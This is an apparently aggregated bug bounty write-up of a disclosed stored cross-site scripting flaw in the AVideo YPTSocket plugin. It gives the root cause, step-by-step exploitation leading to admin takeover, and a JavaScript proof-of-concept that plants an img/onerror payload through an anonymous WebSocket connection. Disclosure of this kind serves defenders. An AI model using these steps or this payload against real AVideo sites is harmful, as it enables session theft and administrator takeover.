# WWBN AVideo: Unauthenticated Stored DOM Cross-Site Scripting via Per-Client Metadata Broadcast in YPTSocket Plugin

Unauthenticated attacker plants page_title payload via YPTSocket WebSocket token, stored and broadcast to admins, executing JS in their authenticated origin.

- Payout: Research
- Severity: critical
- Program: AVideo
- Found by: arkmarta
- Disclosed: 2026-06-04
- CVE: CVE-2026-54458
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-8whc-2wmv-ww35
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-8whc-2wmv-ww35
- Tags: area:web domain:web impact:ato impact:privesc kind:research platform:ghsa sev:critical tech:php tech:websocket technique:chained technique:source-review vuln:access-control vuln:xss

**Target:** YPTSocket plugin WebSocket token endpoint and broadcast client
**Root cause:** getWebSocket.json.php issues tokens to anonymous callers and MessageSQLiteV2::onOpen persists attacker-controlled webSocketSelfURI/page_title verbatim (utf8_encode is not HTML encoding); dbGetUniqueUsers broadcasts them unescaped and script.js interpolates page_title into an HTML template passed to jQuery $.append.
**Steps:**
1. Fetch `/plugin/YPTSocket/getWebSocket.json.php?webSocketSelfURI=...` anonymously to obtain a signed WebSocket token.
2. Open WebSocket to returned webSocketURL appending `&webSocketSelfURI=...&page_title=<img src=q onerror=...>` (payload uses String.fromCharCode to avoid quote bytes).
3. Server stores page_title in SQLite connections table and broadcasts it in users_id_online to all clients.
4. Admin tab with YPTSocket debug panel receives frame; JSON.parse restores raw HTML; updateSocketUserCard interpolates into template literal and calls `$.append(html)`, parsing the img tag and firing onerror in admin origin.
**How found:** Code review of token issuance (getEncryptedInfo writing $_REQUEST['webSocketSelfURI'] unvalidated), onOpen persisting page_title with utf8_encode mistaken for HTML encoding, and client-side template-literal interpolation into jQuery $.append sink.
**Exploitation:** Single anonymous HTTP GET plus one anonymous WebSocket connection plants a stored payload broadcast to every connected admin; inline onerror executes attacker JS in the admin's authenticated AVideo origin, enabling cookie/CSRF-token theft and authenticated admin requests leading to full admin takeover.
**Escalation:** XSS in admin origin chains to reading CSRF token and issuing admin-only authenticated requests, escalating to full administrative takeover.
**Insight:** utf8_encode is often mistaken for output encoding in PHP WebSocket handlers; trace query params from token issuance through in-memory DB broadcast to client-side template-literal sinks like jQuery $.append, which re-parses JSON-decoded strings as HTML.

## Proof of concept (copied exactly from the original report)

**Unauthenticated WebSocket XSS PoC script**

```
(async () => {
  const PAYLOAD = '<img src=q onerror="document.body.style.backgroundColor=String.fromCharCode(114,101,100);document.title=String.fromCharCode(80,87,78,69,68)">';
  const r = await fetch('/plugin/YPTSocket/getWebSocket.json.php?webSocketSelfURI=' + encodeURIComponent('/dashboard?x=1'));
  const j = await r.json();
  const u = j.webSocketURL
          + '&webSocketSelfURI=' + encodeURIComponent('/dashboard?x=1')
          + '&page_title='       + encodeURIComponent(PAYLOAD);
  const ws = new WebSocket(u);
  ws.onopen    = () => console.log('attacker connected');
  ws.onmessage = e => console.log('attacker frame:', e.data.slice(0, 200));
})();
```

